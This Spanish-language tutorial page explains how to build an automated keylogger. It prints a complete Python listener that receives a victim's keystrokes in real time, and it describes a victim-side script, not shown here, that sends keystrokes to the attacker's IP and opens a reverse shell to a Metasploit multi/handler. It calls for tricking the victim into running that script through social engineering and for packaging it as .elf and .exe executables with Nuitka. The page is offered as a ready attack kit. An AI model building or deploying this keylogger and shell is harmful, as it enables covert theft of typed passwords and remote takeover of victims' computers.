Keylogger Automatizado
Contenido del script
Tendremos 2 scripts, uno que sera el que tendremos en nuestro host como modo servidor estando a la escucha de todas las teclas que se presionan visualizandolo a tiempo real y despues otro que sera el que tenga que ejecutar el ususario victima mediante ingenieria social, a parte el script de la victima genera automaticamente un Reverse Shell por lo que si queremos generar una shell a esa maquina tendremos que estar a la escucha con metasploit con el modulo multi/handler.
server_host.py
import socket
import colorama
from colorama import Fore, Style, Back
import sys
# Inicializar colorama
colorama.init(autoreset=True)
# Dirección IP y puerto del servidor
HOST = '0.0.0.0' # Escuchar en todas las interfaces de red
PORT = 7777 # Puerto actualizado
# Crear un socket para escuchar las conexiones entrantes
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((HOST, PORT))
server_socket.listen(1)
# Imprimir el estado de escucha con colores
print(Fore.GREEN + Style.BRIGHT + f"\n{'='*60}")
print(Fore.GREEN + Style.BRIGHT + f"🟢 Escuchando en {HOST}:{PORT}...")
print(Fore.GREEN + Style.BRIGHT + f"{'='*60}\n")
# Aceptar la conexión del cliente
client_socket, client_address = server_socket.accept()
print(Fore.CYAN + Style.BRIGHT + f"🔗 Conexión establecida con {client_address}\n")
print(Fore.YELLOW + Style.BRIGHT + f"{'-'*60}")
# Función para simplificar las teclas
def simplify_key(key):
key_mappings = {
'Key.space': ' ',
'Key.enter': '[ENTER]',
'Key.tab': '[TAB]',
'Key.backspace': '[BACKSPACE]',
'Key.shift': '',
'Key.ctrl_l': '[CTRL]',
'Key.alt_l': '[ALT]',
'Key.cmd': '[CMD]',
}
return key_mappings.get(key, key.replace('Key.', '').replace('\'', ''))
# Recibir y procesar las teclas en tiempo real
try:
while True:
data = client_socket.recv(1024).decode('utf-8')
if data:
keys = data.split(' | ')
cleaned_text = ''.join([simplify_key(key) for key in keys])
print(Fore.YELLOW + Style.BRIGHT + '\rTexto recibido: ' + Fore.WHITE + cleaned_text + ' '*10)
else:
break
except Exception as e:
print(Fore.RED + Style.BRIGHT + f"\n❌ Error en la conexión: {e}\n")
finally:
client_socket.close()
server_socket.close()
print(Fore.MAGENTA + Style.BRIGHT + "\n🔒 Conexión cerrada.\n")En este script server_host.py lo que tendremos que cambiar sera el puerto de la seccion PORT = y poner el puerto que queramos donde queremos que se nos envie la informacion que tendra que estar igual que en el script de capture_victim.py.
capture_victim.py
En este script para la victima hay que modificar la IP en la seccion SERVER_IP = poner tu IP en la que quieres que se vea lo que teclea el usuario victima, despues la primera seccion de puerto llamada PORT = sera al puerto en el que se va a conectar para enviarte toda la informacion que debera de coincidir con el script server_host.py y despues en la seccion de REVERSE_PORT = debera de ir el puerto en el que hayamos configurado nuestra escucha en metasploit.
Preparar la escucha en metasploit
Ahora tendremos que habrir metasploit para prepararnos la escucha en otra pestaña de la terminal a parte.
Pero antes de abrir metasploit prepararemos un comando que automatiza este proceso.
Para windows
Hay configuraremos el puerto que pusimos en la seccion de REVERSE_PORT = en el script de capture_victim.py y la IP a la que queremos que se nos envie la shell que sera nuestra IP del host.
Para linux
Hay configuraremos el puerto que pusimos en la seccion de REVERSE_PORT = en el script de capture_victim.py y la IP a la que queremos que se nos envie la shell que sera nuestra IP del host.
Una vez creados estos archivos en mi caso utilizare el de handler_lin.rc por lo que abriremos ahora si metasploit de esta manera cargando el archivo.
Info:
Y esto automaticamente hara que nos pongamos a la escucha.
Por lo que ya estaremos a la espera de que el usuario victima ejecute el script capture_victim.py lo que nos haria una visualizacion de lo que teclea a la vez de que obtendremos una shell con metasploit para poder hacer lo que queramos.
Requisitos para el script
Lo primero que tendremos que instalar en nuestra maquina host sera lo siguiente.
Y con esto deberia de funcionar el script.
Pasarlo a .elf
Primero tendremos que instalarnos una herramienta llamada Nuitka de la siguiente forma.
Seguidamente sus requisitos.
Una vez hecho esto ya podremos pasar el .py a un .elf.
Info:
Esto nos habra generado unos cuantos archivos entro ellos el ejecutable que queremos, solo que aparece como .bin pero si hacemos un file veremos que es un .elf por lo que haremos lo siguiente.
Info:
Y ahora le cambiaremos el nombre.
Eliminamos los archivos basura.
Y ya estaria listo nuesto ejecutable.
Pasarlo a .exe
Primero tendremos que instalarnos una herramienta llamada Nuitka de la siguiente forma.
Seguidamente sus requisitos.
Una vez hecho esto ya podremos pasar el .py a un .exe.
Info:
Esto nos habra generado unos cuantos archivos entro ellos el ejecutable que queremos, solo que estara dentro de la carpeta llamada capture_victim.dist nos metemos dentro de ella y aparece como .exe el archivo capture_victim.exe.
Eliminamos los archivos basura.
Y ya estaria listo nuesto ejecutable.
Last updated